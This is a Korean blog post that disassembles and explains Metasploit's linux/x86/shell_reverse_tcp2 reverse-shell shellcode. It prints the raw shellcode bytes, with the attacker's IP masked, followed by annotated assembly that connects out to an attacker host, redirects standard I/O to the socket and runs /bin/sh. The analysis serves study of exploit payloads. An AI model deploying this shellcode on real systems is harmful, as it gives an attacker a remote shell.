linux/x86/shell_reverse_tcp2 on Metasploit

2011/02/24 23:16

# linux/x86/shell_reverse_tcp2 - 70 bytes
# http://www.metasploit.com
# LHOST=xxx.xxx.xxx.xxx, LPORT=31337, ReverseConnectRetries=5, 
# PrependSetresuid=false, PrependSetreuid=false, 
# PrependSetuid=false, PrependChrootBreak=false, 
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=
buf = 
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80" +
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xXX\xXX" +
"\xXX\xXX\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x66\x50" +
"\x51\x53\x89\xe1\x43\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68" +
"\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

위 쉘코드는 메타스플로잇1에서 linux/x86/shell_reverse_tcp2 모듈로 만든 코드입니다. Remote Exploit을 할 때 사용하는 코드인데 어떻게 수행되는지 알아보고자 분석해봤습니다.

우선 시스템함수와 int 0x80을 이용한 코드를 분석할 때는 다음을 유념해야 합니다.

  • eax 레지스터는 시스템함수 번호 (syscall number)
  • ebx, ecx, edx 순으로 함수의 인자들이 구성

그래서 분석을 할 때 int 0x80이 나오기 전에 eax의 값을 확인해야 하고, 그에 맞는 시스템함수를 확인하여서 인자 구성이 어떻게 되는지를 알아야 합니다. 시스템함수는 32비트 기준으로 /usr/include/asm/unistd_32.h 파일을 참조하면 알 수 있습니다. 인자 구성을 확인할 때는 스택이 어떻게 변하는지도 살펴야 합니다.

이 점들을 유념하여 linux/x86/shell_reverse_tcp2 모듈을 분석한 내용이 아래와 같습니다.

/*
sockfd = socket (AF_INET, SOCK_STREAM, 0);
*/
0x804a040 :	xor    %ebx,%ebx			
0x804a042 :	push   %ebx
0x804a043 :	inc    %ebx		// ebx = 0x1
0x804a044 :	push   %ebx
0x804a045 :	push   $0x2
0x804a047 :	push   $0x66
0x804a049 :	pop    %eax		// eax = 0x66
0x804a04a :	mov    %esp,%ecx	// ecx = {0x2, 0x1, 0x0}
0x804a04c :	int    $0x80		// socketcall (0x1, ecx)

/*
ecx = stderr;
if (ecx >= 0) dup2 (sockfd, ecx--);
*/
0x804a04e :	xchg   %eax,%ebx	// ebx = sockfd
0x804a04f :	pop    %ecx		// ecx = 0x2
0x804a050 :	mov    $0x3f,%al	// eax = 0x3f
0x804a052 :	int    $0x80		// dup2 (sockfd, 0x2)
0x804a054 :	dec    %ecx
0x804a055 :	jns    0x804a050

/*
sockaddr = {0x7a690002, 0xXXXXXXXX};
connect (stderr, &sockaddr, 0x66);
*/
0x804a057 :	pop    %ebx
0x804a058 :	pop    %edx		// edx = 0x0
0x804a059 :	push   $0xXXXXXXXX	// LHOST
0x804a05e :	pushw  $0x697a		// LPORT
0x804a062 :	inc    %ebx
0x804a063 :	push   %bx
0x804a065 :	mov    %esp,%ecx	// sockaddr = ecx = {0x7a690002,0xXXXXXXXX}
0x804a067 :	mov    $0x66,%al	// eax = 0x66
0x804a069 :	push   %eax
0x804a06a :	push   %ecx
0x804a06b :	push   %ebx
0x804a06c :	mov    %esp,%ecx	// ecx = {0x2, &sockaddr, 0x66}
0x804a06e :	inc    %ebx		// ebx = 0x3
0x804a06f :	int    $0x80		// socketcall (0x3, ecx)

/*
*args = {"/bin//sh", 0};
execve (args[0], args, 0);
*/
0x804a071 :	push   %edx
0x804a072 :	push   $0x68732f2f
0x804a077 :	push   $0x6e69622f
0x804a07c :	mov    %esp,%ebx	// args[0] = ebx = "/bin//sh"
0x804a07e :	push   %edx
0x804a07f :	push   %ebx
0x804a080 :	mov    %esp,%ecx	// args = ecx = {"/bin//sh", 0x0}
0x804a082 :	mov    $0xb,%al		// eax = 0xb
0x804a084 :	int    $0x80		// execve (args[0], args, 0x0)

0x66에 해당하는 시스템함수는 socketcall2입니다. 소켓 함수들은 위 로그처럼 커널의 socketcall 함수를 거쳐서 구현되죠. socketcall 함수는 인자를 2개 받습니다. 첫 번째 인자는 어떤 소켓 함수를 부를지 결정하는 값이고, 두 번째 인자는 소켓 함수에 전달될 인자들의 테이블입니다.

그리고 0x3f에 해당하는 시스템함수는 dup23 입니다. 파일 디스크립터를 복사하는 함수입니다. 이 쉘코드는 소켓의 파일 디스크립터를 stderr(0x2), stdout(0x1), stdin(0x0)으로 차례대로 복사합니다. 이렇게 함으로써 xinetd4 처럼 표준 입출력으로 소켓 통신이 이루어지는 것이죠.
크리에이티브 커먼즈 라이센스
Creative Commons License

6l4ck3y3 0x03 Linux RCE , , , , , , , ,

Trackback Address:이 글에는 트랙백을 보낼 수 없습니다
[로그인][오픈아이디란?]